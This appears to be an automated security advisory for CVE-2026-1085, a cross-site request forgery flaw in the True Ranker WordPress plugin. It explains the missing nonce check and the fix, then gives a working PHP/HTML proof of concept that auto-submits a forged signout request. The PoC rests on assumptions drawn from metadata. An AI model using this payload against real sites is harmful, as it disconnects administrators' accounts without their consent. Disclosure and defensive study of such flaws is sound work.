Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1085: True Ranker <= 2.2.9 – Cross-Site Request Forgery to Unauthorized True Ranker Disconnection (seo-local-rank)

CVE ID CVE-2026-1085
Plugin seo-local-rank
Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 2.2.9
Patched Version —
Disclosed March 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1085 (metadata-based):

The vulnerability is a Cross-Site Request Forgery (CSRF) in the True Ranker WordPress plugin. The root cause is missing nonce validation on the `seolocalrank-signout` action. WordPress plugins typically implement AJAX handlers via `wp_ajax_{action}` hooks. The plugin likely registers an AJAX handler for authenticated users (administrators) without verifying the WordPress nonce token.

Exploitation requires an attacker to craft a malicious link or form that submits a POST request to `/wp-admin/admin-ajax.php`. The request must contain `action=seolocalrank-signout`. An administrator must be tricked into visiting the attacker-controlled page while authenticated to WordPress. The browser automatically sends the administrator’s session cookies with the forged request, executing the disconnection action.

The fix requires adding a nonce check using `wp_verify_nonce()` before processing the signout logic. The plugin should verify the `_wpnonce` parameter matches the expected value for that specific action.

Impact is limited to disconnecting the administrator’s True Ranker account. This disrupts the plugin’s functionality but does not compromise the WordPress site directly. The CVSS score of 4.3 reflects the low confidentiality and availability impact, with integrity impact limited to account linkage status. Atomic Edge research confirms this is a classic CSRF vulnerability in a WordPress AJAX endpoint.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1085 - True Ranker <= 2.2.9 - Cross-Site Request Forgery to Unauthorized True Ranker Disconnection
<?php
/**
 * Proof of Concept for CVE-2026-1085
 * This script generates an HTML page containing a CSRF payload.
 * When a logged-in WordPress administrator visits this page, their True Ranker account will be disconnected.
 * Assumptions based on WordPress plugin patterns:
 * 1. The plugin uses admin-ajax.php endpoint
 * 2. The vulnerable action parameter is 'seolocalrank-signout'
 * 3. No nonce validation is required
 */

$target_url = 'https://vulnerable-site.com'; // CHANGE THIS
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$action = 'seolocalrank-signout';

?>
<!DOCTYPE html>
<html>
<head>
    <title>CSRF PoC - CVE-2026-1085</title>
</head>
<body>
    <h2>CSRF Proof of Concept for True Ranker Plugin</h2>
    <p>If a WordPress administrator visits this page while logged in, their True Ranker account will be disconnected.</p>
    
    <form id="csrf_form" action="<?php echo htmlspecialchars($ajax_url); ?>" method="POST">
        <input type="hidden" name="action" value="<?php echo htmlspecialchars($action); ?>">
        <input type="submit" value="Submit (auto-submits in 3 seconds)">
    </form>
    
    <script>
        // Auto-submit the form after 3 seconds
        setTimeout(function() {
            document.getElementById('csrf_form').submit();
        }, 3000);
    </script>
</body>
</html>

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